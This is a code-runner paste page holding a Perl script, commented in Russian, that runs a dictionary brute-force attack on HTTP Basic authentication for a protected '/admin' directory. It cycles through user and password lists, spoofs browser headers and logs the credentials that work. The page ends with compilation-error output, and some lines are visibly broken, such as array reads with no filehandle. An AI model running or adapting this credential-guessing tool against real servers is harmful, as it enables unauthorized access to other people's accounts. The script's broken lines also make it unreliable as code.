fork(1) download
  1. Итак, поехали:
  2. #!/usr/bin/perl
  3.  
  4. ## Autors: Mike: mike@eggru.com, Forb: dmitry@dokuchaev.com
  5. ## Modified by sikeirosa: sikeirosa@mail.ru
  6.  
  7. use MIME::Base64;
  8. use IO::Socket;
  9. use POSIX; ### Подрубаем модули POSIX, Socket и Base64
  10.  
  11. $server="127.0.0.1"; ### Удаленный сервер
  12. $port="80"; ### Удаленный порт
  13. $dir="/admin"; ### Запароленная директория
  14. $logfile="sucess.log"; ### Логфайл, куда пишем пароль
  15. $log="now.log"; ### Логфайл, куда пишем статус (что происходит в данную минуту)
  16. $words="bigdict.txt"; ### Словарь (файл с паролями)
  17. $users="users.txt"; ### Имя пользователя
  18.  
  19. open(file, "<$words") or die print "$!\n";
  20. @pwd_data=;
  21. $total=@pwd_data;
  22. close file; ### Записываем все пароли в один массив
  23.  
  24.  
  25. open(file, "<$users") or die print "$!\n";
  26. @users_data=;
  27. $total*=@users_data;
  28. close file; ### Записываем всех пользователей в один массив
  29.  
  30. $i=0;
  31. foreach $user (@users_data) {
  32. foreach $pass (@pwd_data) {
  33. $i++;
  34. chomp($pass);
  35. chomp($user);
  36. open(file, ">$log") or die print "$!\n";
  37. $perc=($i*100)/$total;
  38. $perc=ceil($perc); ### Высчитываем процент
  39. print file "$perc\% Done\t$i of $total\t\tNow: $user\:$pass\n"; ### Пишем в лог статус
  40. close file;
  41.  
  42. $auth=encode_base64("$user\:$pass"); ### Создаем Mime-хеш
  43. chomp($auth);
  44.  
  45. ### Порождаем сокет
  46. $socket=IO::Socket::INET->new( PeerAddr => $server, PeerPort => $port, Proto => 'tcp', Type => SOCK_STREAM) or die print "Unable to connect to $server:$port\n";
  47. print $socket "GET $dir HTTP/1.1\n";
  48. print $socket "Host: $server\n";
  49. print $socket "Accept: */*\n";
  50. print $socket "Referer: http://support.microsoft.com/\n";
  51. print $socket "User-Agent: Internet Explorer 6.0\n";
  52. print $socket "Pragma: no-cache\n";
  53. print $socket "Cache-Control: no-cache\n";
  54. print $socket "Authorization: Basic $auth\n";
  55. print $socket "Connection: close\n\n"; ### Отправляем http-данные + Mime-хеш
  56.  
  57. $ans=<$socket>; ### Получаем ответ от сервера
  58.  
  59.  
  60. if ($ans=~/200 Ok/i or $ans=~/301/i) {
  61. open(logf, ">>$logfile") or die print "$!\n"; ### Если пароль верный - пишем в success-лог
  62. print logf "$user:$pass is OK!!!\n";
  63. close logf;
  64. }
  65. close($socket);
  66. }
  67. }
Compilation error #stdin compilation error #stdout 0s 0KB
stdin
Standard input is empty
compilation info
===SORRY!===
Confused at line 1, near "\u0418\u0442\u0430\u043a, \u043f\u043e\u0435\u0445"
stdout
Standard output is empty